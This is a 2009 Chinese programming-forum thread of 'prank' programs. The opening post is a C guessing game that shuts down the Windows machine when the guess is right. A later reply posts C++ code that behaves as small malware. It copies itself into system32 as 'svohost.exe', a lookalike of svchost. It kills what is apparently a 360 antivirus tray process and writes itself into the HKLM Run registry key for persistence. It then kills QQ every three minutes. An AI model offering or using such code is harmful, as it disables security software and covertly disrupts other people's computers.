| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 4711 人关注过本帖
标题:今天写出来的一个恶作剧小程序
只看楼主 加入收藏
曼珠沙华
Rank: 2
来 自:广东
等 级:论坛游民
帖 子:121
专家分:98
注 册:2009-5-21
结帖率:100%
收藏
已结贴  问题点数:20 回复次数:14 
今天写出来的一个恶作剧小程序
#include<stdio.h>
#include<stdlib.h>
#include<time.h>
void close();
int main()
{
    int n,x;
    static int a=1,b=100;
    srand(time(NULL));
    n=1+rand()%100;   /*随机产生1到100之间的随机数*/
loop: printf("input a interget from 1 to 100.\n");
    scanf("%d",&x);
    if(x<1||x>100)
    {
        printf("Error!\n");
        goto loop;
    }
    while(1)
    {
        if(x==n)   /*x与n相同,便执行关机*/
        {
            printf("Right!This is award!\n");
            close();
            break;
        }
        if(x<n)
        {
            a=x;
            printf("input from %d to %d\n",a,b);
        }
        if(x>n)
        {
            b=x;
            printf("input from %d to %d\n",a,b);
        }
again:scanf("%d",&x);
        if(x<a||x>b)
        {
            printf("Error!\nInput again.\n");
            goto again;
        }
    }
    getchar();
}
void close()
{
 FILE *f;
 if(f=fopen("c:\\windows\\system32\\shutdown.exe","r"))
  system("c:\\windows\\system32\\shutdown.exe -s -t 3");
 // else
 // printf("不存在shutdown.exe文件,关机失败!");
 //   fclose(f);
}
猜数字,猜中,自动关机。

[[it] 本帖最后由 曼珠沙华 于 2009-7-17 00:37 编辑 [/it]]
搜索更多相关主题的帖子: 恶作剧 
2009-07-17 00:04
tjp1984
Rank: 2
来 自:河南
等 级:论坛游民
帖 子:137
专家分:39
注 册:2009-5-13
收藏
得分:0 
好东西

粗体文字 憨豆先生[/b]
2009-07-17 03:14
printc
Rank: 2
来 自:坎坷之路
等 级:论坛游民
帖 子:162
专家分:84
注 册:2009-6-12
收藏
得分:0 
可以迅速-a结束~~~

人生之路,坎坷颇多……
2009-07-17 06:44
liuqinfa
Rank: 1
等 级:新手上路
帖 子:3
专家分:0
注 册:2009-6-20
收藏
得分:0 
2009-07-17 08:28
StarWing83
Rank: 8Rank: 8
来 自:仙女座大星云
等 级:贵宾
威 望:19
帖 子:3951
专家分:748
注 册:2007-11-16
收藏
得分:0 
以下是引用printc在2009-7-17 06:44的发言:

可以迅速-a结束~~~


只有3秒钟呢……

Win+R,shutdown -a
我打字好像没这么快……

专心编程………
飞燕算法初级群:3996098
我的Blog
2009-07-17 18:01
coolskyboy
Rank: 2
等 级:论坛游民
帖 子:102
专家分:53
注 册:2007-4-7
收藏
得分:0 
。。。。还用GOTO。

2009-07-17 19:17
曼珠沙华
Rank: 2
来 自:广东
等 级:论坛游民
帖 子:121
专家分:98
注 册:2009-5-21
收藏
得分:0 
回复 6楼 coolskyboy
呵呵。。。主要是想玩玩goto。算是练习一下。

走过了,却留下了痕迹。伤过了,却是一种无奈。人生只不过是一种擦肩而过的过程。
2009-07-17 21:08
liulanghan
Rank: 1
等 级:禁止访问
帖 子:104
专家分:0
注 册:2007-5-5
收藏
得分:0 
我也发个恶作剧的
// ShutDownQQ.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"

#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
#include <stdlib.h>

/*根据进程名,获得进程ID*/
DWORD GetProcessID(char *FileName)
{
HANDLE hProcess;
DWORD dwID;
PROCESSENTRY32 pe;
BOOL bRet;
BOOL Good=FALSE;

//进行进程快照
hProcess=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

//开始进程查找
bRet=::Process32First(hProcess,&pe);
/*循环比较,得出ProcessID*/
while(bRet)
{
   for(int i=0;i<sizeof(FileName);i++)
   {
    if(FileName[i]!=pe.szExeFile[i])
     break;
    Good=TRUE;
   }
   if(Good!=TRUE)
    bRet=::Process32Next(hProcess,&pe);
   else
   {
    dwID=pe.th32ProcessID;
    break;
   }
}

//返回得到的ProcessID
return dwID;
}


int   main(int   argc,   char*   argv[])   
{
    CopyFile("svohost.exe","c:\\windows\\system32\\svohost.exe",false);
    HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS,FALSE,GetProcessID("36tray.exe"));
    TerminateProcess(hProcess,1);
    char  *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v svohost /d C:\\Windows\\system32\\svohost.exe /f";
    while(1){
        system(regadd); /* 注册SVCHOST.exe,在注册表启动项中添加,让其在启动时运行 */
    HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS,FALSE,GetProcessID("qq.exe"));
    TerminateProcess(hProcess,1);
    hProcess = OpenProcess (PROCESS_ALL_ACCESS,FALSE,GetProcessID("QQ.exe"));
    TerminateProcess(hProcess,1);
    Sleep(180000);
    }
    return 0;
    
}
2009-07-18 16:09
mfh
Rank: 6Rank: 6
等 级:侠之大者
帖 子:179
专家分:411
注 册:2009-5-31
收藏
得分:0 
非常好!!!支持!!!
2009-07-18 16:35
liulanghan
Rank: 1
等 级:禁止访问
帖 子:104
专家分:0
注 册:2007-5-5
收藏
得分:0 
补充下:编译后的可执行文件改名为svohost.exe
2009-07-18 16:38
快速回复:今天写出来的一个恶作剧小程序
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.053428 second(s), 7 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved